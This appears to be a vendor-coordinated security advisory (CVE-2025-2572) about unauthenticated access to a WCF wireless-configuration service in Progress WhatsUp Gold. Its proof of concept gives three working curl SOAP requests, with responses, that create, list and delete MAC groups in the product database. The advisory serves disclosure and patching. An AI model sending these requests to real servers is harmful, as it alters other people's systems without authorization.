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Progress WhatsUp Gold Unauthenticated Wireless MAC Group Manipulation

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Synopsis

A database manipulation vulnerability exists in Progress WhatsUp Gold (WUG). NmConfigurationManager.exe in WUG is a Windows Communication Foundation (WCF) application. It implements a service contract for IWirelessAPIConfiguration that allows unauthenticated access. An unauthenticated remote attacker can add, view, and delete wireless MAC groups used in WUG. The MAC group manipulation affects associated tables (i.e., WhatsUp.dbo.WrlsMacAddressGroup) in the WUG database and the WUG web GUI that interacts with the database.

Solution

Upgrade to version v24.0.3 or later.

Proof of Concept

# call CreateMACGroup(); create a row in WhatsUp.dbo.WrlsMacAddressGroup
curl -sk -H 'Content-Type:text/xml' -H 'SOAPAction:<http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/CreateMACGroup'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><CreateMACGroup xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><groupName>Group123</groupName><groupDescription>GroupDescription</groupDescription></CreateMACGroup></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'

<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><CreateMACGroupResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><CreateMACGroupResult>1</CreateMACGroupResult></CreateMACGroupResponse></s:Body></s:Envelope>


# call FetchAllGroupsWithNonMACEntries(); fetch rows in WhatsUp.dbo.WrlsMacAddressGroup
curl -sk -H 'Content-Type:text/xml' -H 'SOAPAction: <http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/FetchAllGroupsWithNonMACEntries'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><FetchAllGroupsWithNonMACEntries xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"/></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'

<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><FetchAllGroupsWithNonMACEntriesResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><FetchAllGroupsWithNonMACEntriesResult xmlns:a="<http://schemas.datacontract.org/2004/07/NmContracts.Wireless>" xmlns:i="<http://www.w3.org/2001/XMLSchema-instance>"><a:EntityWirelessMACGroup><a:Entries i:nil="true"/><a:GroupDescription>GroupDescription</a:GroupDescription><a:GroupDisplayName>Group123</a:GroupDisplayName><a:GroupID>1</a:GroupID></a:EntityWirelessMACGroup></FetchAllGroupsWithNonMACEntriesResult></FetchAllGroupsWithNonMACEntriesResponse></s:Body></s:Envelope>


# call RemoveMACGroups() to remove the group with ID of 1; delete a row in WhatsUp.dbo.WrlsMacAddressGroup
curl -ski -H 'Content-Type:text/xml' -H 'SOAPAction: <http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/RemoveMACGroups'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><RemoveMACGroups xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><groupIDs><int xmlns="<http://schemas.microsoft.com/2003/10/Serialization/Arrays>">1</int></groupIDs></RemoveMACGroups></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'

<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><RemoveMACGroupsResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"/></s:Body></s:Envelope>

Additional References

https://docs.progress.com/bundle/whatsupgold-release-notes-24-0/page/WhatsUp-Gold-2024.0-Release-Notes.html

Disclosure Timeline

February 18, 2025 - Tenable discloses issue to Progress. Progress forwards Tenable to BugCrowd. Tenable requests dedicated contact.
February 18, 2025 - Progress provides contact.
February 19, 2025 - Tenable discloses to Progress contact.
February 19, 2025 - Progress inquires about disclosure timeline, Tenable provides reasoning.
March 11, 2025 - Tenable requests status update.
March 11, 2025 - Progress replies that they expect a fix around mid-April.
April 7, 2025 - Tenable asks if Progress is still planning a fix for mid-April.
April 9, 2025 - Progress responds that they plan on releasing the fix on April 14 or April 15. Progress provides CVE. Progress requests extension on publishing.
April 10, 2025 - Tenable responds with reasoning behind publishing upon patch release.
April 15, 2025 - Progress releases fix.

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Risk Information

CVE ID: CVE-2025-2572
Tenable Advisory ID: TRA-2025-13
CVSSv3 Base / Temporal Score:
7.3
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Affected Products:
Progress WhatsUp Gold
Risk Factor:
High

Advisory Timeline

April 15, 2025 - Initial release.
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